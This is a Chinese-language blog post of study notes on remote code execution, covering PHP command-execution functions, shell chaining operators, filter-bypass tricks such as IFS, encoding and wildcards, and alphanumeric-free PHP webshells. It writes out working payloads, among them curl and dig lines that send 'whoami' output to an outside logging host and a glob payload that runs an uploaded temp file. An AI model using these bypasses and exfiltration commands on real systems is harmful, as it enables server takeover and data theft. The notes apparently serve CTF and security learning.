RCE总结
RCE总结
定义
RCE,远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
命令执行函数
system()
system()函数会调用fork()产生子进程,由子进程调用/bin/sh -c command
执行特定的命令,暂停当前进程直到command命令执行完毕,当此命令执行完后随即返回原调用的进程。
当system()正常执行,将返回命令的退出码;
当返回值为127,相当于执行了exit函数,而自身命令没有执行;
当返回值为-1,代表没有执行system调用。
exec()
system()的不同主要在于exec()并不会调用fork()产生新进程、暂停原命令来执行新命令,而是直接覆盖原命令,对返回值有影响。
exec执行command命令时,不会输出全部结果,而是返回结果的最后一行
结果有多行时(如列目录时)要传入第二个参数接收,要求是数组
1
2
3
4
exec('ls',$arr);
print_r($arr);
shell_exec()
在shell下执行,适用于Linux Macos,并且结果可以有多行,字符串方式返回,绕过执行过程中出错或无输出,返回NULL
1 |
|
passthru()
passthru直接将结果输出,不返回结果(与system的区别)
系统命令拼接方式
- “|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help | more
- “&” commandA & commandB 先运行命令A,然后运行命令B
- “||” commandA || commandB 运行命令A,如果失败则运行命令B
- “&&” commandA && commandB 运行命令A,如果成功则运行命令B
- cmd1 ; cmd2 (; 分号操作符)执行多条命令
绕过技巧
php字符被过滤
使用短标签 <?= php代码 ?>
system被过滤
使用反引号绕过
1 | echo `ls /`; |
空格被过滤
常见绕过方式有利用URL编码:%20、%09(tab)
还有利用
$IFS$9
、$IFS$1
、${IFS}
、$IFS
等内部域分隔符(也是IFS的一种,因此没有双引号包裹时被echo会被空格替换){}也可以,比如这样{cat,flag}
< 、<>
IFS 是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
IFS默认值为
3个 IFS的作用就是把字符串里的某某字符(和它一样的字符)转义成分隔符。
而空格被当作分隔符时会合并,因此直接echo含多个空格的变量,会去重连续的空格,若要保留,echo时加上双引号
1 echo "$test"可以对IFS重新赋值
1
2
3
4 IFS='&'
STRING2="111&222&&333&&&444"
echo $STRING2 # 111 222 333 444 (没有双引号包裹,分隔符以空格显示)
echo "$STRING2" # 111&222&&333&&&444
$* 指的是脚本入口参数的字符串集,是一个全局变量
你在终端输入一个脚本,带了3个参数:
# ./script 111 222 333
那么 echo $* 输出的就是111 222 333
而$*等于111IFS222IFS333IFS444 所以会根据IFS值改变结果
某些关键字被过滤
base64编码绕过
1 | echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag |
引号绕过
1 | ph""p => php |
偶读拼接绕过
1 | ?ip=192.168.0.1;a=l;b=s;$a$b //ls |
反斜杠 \ 绕过
1 | ca\t => cat |
通配符绕过
[无字母数字webshell之提高篇 | 离别歌 (leavesongs.com) ]
[老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户]
1 | shell下可以利用.来执行任意脚本 |
这里要注意,你使用的命令补全时会不会存在歧义,比如ca补全时,三个字母的有
cal
和cat
两种cal的路径和cat的路径完全不一样,这也是这里为什么要指定路径的缘故
Hex编码绕过
1 | echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag |
Oct编码绕过
1 | (printf "\154\163") 执行ls |
内联执行绕过
1 | echo "a`pwd`" #输出a/root |
[]匹配绕过
1 | c[a]t => cat |
字符串拼接
1 | a=c;b=at;c=a;d=txt;$a$b $c.$da=c;b=at;c=a;d=txt;$a$b ${c}.${d} # cat a.txt |
利用环境变量取值
:3:1 下标为3的字符开始打印一个字符,总的也是一个字符,下标从0开始
1
2
3
4 sh-3.2# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor:posix
sh-3.2# echo ${SHELLOPTS:1:10}
raceexpand
使用空变量
1 | c${z}at a.txt |
无回显绕过
外带信息,访问vps,然后去日志中查找
1 | curl vps:port/`whoami` |
或者加上编码也可
1 | curl 34kk35.ceye.io/$(whoami | base64) |
使用DNS
1 | dig `whoami`.34kk35.ceye.io |
无数字字母shell
应用场景
1 |
|
过滤了数字字母大小写,无法正常传一句话
思路
将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可
- php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码。 - 但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
方法一
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
1 |
|
方法二
使用的是位运算里的“取反”,利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反即为字母s
:
1 |
|
这个答案还利用了PHP的弱类型特性。因为要获取
'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
方法三
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
获取字母a
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
,再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_])
,无需获取小写a):
1 |
|
无数字字母shell提高篇
多了两个限制:
- webshell长度不超过35位
- 除了不包含字母数字,还不能包含
$
和_
PHP7下
执行动态函数($a)();
(PHP7后支持)
e.g. ('phpinfo')();
1 | (~%8F%97%8F%96%91%99%90)(); //phpinfo() |
PHP5下
Linux shell知识点:
- shell下可以利用
.
来执行任意脚本 - Linux文件名支持用glob通配符代替
. file
的意思就是用bash执行file文件中的命令
Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但这种匹配的结果过多,假设要执行/tmp/phpcjggLC
glob支持用[^x]
的方法来构造“这个位置不是字符x”,那么,我们用这个姿势干掉/bin/run-parts
:
1 | /???/???[^-]????? |
跟正则表达式类似,glob支持利用[0-9]
来表示一个范围
所有匹配到的文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间,我们可以利用[@-[]
来表示大写字母
最终payload
1 | `. /???/????????[@-[]`; |
无数字字母shell的一些trick
获取数字1 0
1 | var_dump(!'');//bool(true) |
- 标题: RCE总结
- 作者: Sl0th
- 创建于 : 2022-07-03 23:29:09
- 更新于 : 2024-11-11 18:23:06
- 链接: http://sl0th.top/2022/07/03/RCE总结/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。